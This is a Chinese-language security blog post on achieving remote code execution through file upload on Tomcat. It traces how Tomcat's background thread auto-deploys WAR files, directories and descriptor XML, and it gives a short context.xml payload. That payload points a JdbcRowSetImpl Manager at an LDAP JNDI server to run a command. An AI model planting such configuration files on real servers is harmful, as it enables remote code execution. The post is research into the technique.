tomcat下的文件上传RCE姿势
0 条评论前言
众所周知,tomcat下上传jsp文件是最好用的RCE方式,但是大部分情况下,jsp的文件上传都被限制了,所以我们得探索其他的RCE方式。
探索
首先我们运行tomcat,要知道tomcat后台上传war包是一种很熟悉的RCE方式,那么我们在运行时在tomcat中上传一个war包
发现war包也成功部署了,
上传war包可以是一种方案,那么有没有其他方式呢?
首先,为什么在运行中上传war包依旧能部署呢?
首先我们可以知道tomcat启动过程中会有一个后台线程
ContainerBackgroundProcessor
这个线程一直处于循环当中,每10秒执行一次processChildren方法
这个processChildren方法会递归调用tomcat不同容器的backgroundProcess方法。
当container为StandarHost时
前面的没啥用,主要看这里,
这里循环调用了生命周期监听器,
在org.apache.catalina.startup.HostConfig#lifecycleEvent 中
当监听到Lifecycle的状态为periodic时,调用check方法
逐步跟进到
org.apache.catalina.startup.HostConfig#deployApps()
deployWARs正是处理war包的方法
随后的部署便不跟进了。
此时我们可以了解到上传war包能够部署的原因,细心的你肯定注意到还有两处方法调用。
我们先来看看deployDirectories方法,
会调用所有的appBaseFile(这里是catalina-home/webapps)下的文件进行判断
获取文件夹名后会判断isServiced或者deploymentExists 是否为true,这两个功能大概就是判断是否处理过,如果已经处理过便不再处理了,如果不是则进入es.submit(new DeployDirectory(this, cn, dir))
所以我们上传一个新的文件夹
es 估摸着是个线程池。所以注意一下DeployDirectory的run方法
发现会读取文件夹下META-INF/context.xml 文件
读到后
便使用digester解析xml
这里便可以实现RCE了,原理就不说明了,可以看y4tacker师傅的文章点这里
我们构造一个文件其META-INF文件下的context.xml 如下
<Context>
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>web.xml</WatchedResource>
<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="ldap://127.0.0.1:1389/TomcatBypass/Command/calc"
autoCommit="true"></Manager>
</Context>
等运行这个线程的时候
便能触发jndi
再看看另一个方法deployDescriptors
会调用hostConfigBase下的所有文件
这里hostConfigBase为/conf/Catalina/localhost
还是同样的配方
hostConfigBase 下的xml文件都会被digester解析一遍。依旧是同样的RCE方式
后言
当然还是有限制,比如允许上传war包、xml文件,能够创建目录、需要目录穿越,但还是可以提供参考,时间关系,只研究了tomcat的这种方式,并未在其他容器中实验,感兴趣的师傅可以尝试~~